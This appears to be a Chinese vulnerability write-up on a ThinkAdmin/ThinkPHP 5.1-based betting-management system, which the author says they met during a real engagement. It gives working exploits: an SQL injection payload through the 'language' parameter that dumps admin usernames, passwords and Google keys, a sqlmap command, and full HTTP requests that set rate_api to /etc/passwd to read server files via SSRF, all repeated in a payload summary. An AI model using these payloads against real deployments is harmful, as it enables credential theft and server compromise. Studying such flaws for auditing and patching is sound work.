写在前面
在实战中遇到的一套源码,感觉有洞,遂决定锻炼下代码阅读能力,不足的地方,请各位师傅指正。
系统简介
由thinkadmin v5基于thinkphp5.1.39开发的投注管理系统。
开发语言:PHP开发框架:Thinkadmin(thinkphp5.1.39LTS)
代码分析
SQL注入
注入点代码如下,其中参数“language”可控。
public function item_class(){$params = $this->request->param();$language = $params["language"];$classes = Db::name('LcItemClass')->field("id,$language as title")->order('sort asc,id desc')->select();$this->success("success", ['classes' => $classes]);}
1.访问“index/index/set_currency_price”路由设置language参数为“1'”,报错点在“SELECT id,1'”。完整的SQL语句如下:
SELECT id,1' as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC2.那么可以尝试获取管理员用户表的字段信息,设置language参数为“username,password,google_key from `system_user`--+”,那么完整的语句应该是如下:
SELECT id,username,password,google_key from `system_user`--+ as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC成功注出管理员信息。
sqlmap也能直接跑。
python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent后台文件读取/SSRF
漏洞代码如下:
public function set_currency_price(){//判断ip白名单if(strstr(getInfo("task_ip"),$this->request->ip())){$req_url = getInfo('rate_api');$response_json = file_get_contents($req_url);if(false !== $response_json) {$response = json_decode($response_json);if('success' === $response->result) {$currency = $response->conversion_rates;$currencies = Db::name('LcCurrency')->where(['type' => 2])->select();foreach ($currencies as $k => $v) {$name = $v['name'];$update = ['price' => $currency->$name];$this->updateCurrencyByName($name,$update);}echo("success");}else{echo($currency->result);}}else{echo("failed");}}else{echo("IP does not support");}}
getinfo($value)函数表示从lc_info表中获取对应$value字段的值,代码如下:
function getInfo($value){return Db::name('LcInfo')->where('id', 1)->value($value);}
strstr(getInfo("task_ip"),$this->request->ip())意为,getInfo("task_ip")从数据库中获取白名单IP,$this->request->ip()获取攻击机IP(公网,这里测试过X-Forword-For不能用),strstr()函数比对攻击机IP是否在白名单内。条件符合则进入:
$req_url = getInfo('rate_api');$response_json = file_get_contents($req_url);
getInfo('rate_api')表示从数据库中获取地址,然后file_get_contents($req_url)去获取地址中的内容。获取成功进入下面代码:
$response = json_decode($response_json);由于这里匹配json字符串,读取到的文件非json,所以if('success' === $response->result)通过不了,直接进入echo($currency->result);将报错信息打印。
后面分析到getInfo("task_ip")中的task_ip字段,可在后台“系统管理->网站配置->编辑”(/admin.html#/admin/info/set.html?id=1&spm=m-2-91-92),设置“宝塔计划任务白名单IP”为你的攻击机公网IP地址。
参数为“task_ip”,数据包如下:
POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 774sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36sec-ch-ua-platform: "Linux"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1
getInfo('rate_api')中的rate_api字段,在“系统管理->语言/货币管理->编辑汇率API”(/admin.html#/admin/currency/index.html?spm=m-2-91-123),设置“汇率API”为需要读取的文件。
参数为“rate_api”,数据包如下:
POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 55sec-ch-ua: "(Not(A:Brand";v="99"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzwsec-ch-ua-platform: "Windows"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb
访问下面链接查看网页源代码即可。
http://xxx.xxx.xxx/index/index/set_currency_price将“汇率API”设置成“https://www.baidu.com/”,成功请求了百度。
漏洞总结
SQL注入
# 管理员信息payload/api/index/item_classPOST:language=username,password,google_key from `system_user`--+# sqlmap工具注入命令python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent
POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 774sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36sec-ch-ua-platform: "Linux"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1
POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 55sec-ch-ua: "(Not(A:Brand";v="99"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzwsec-ch-ua-platform: "Windows"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb
/index/index/set_currency_price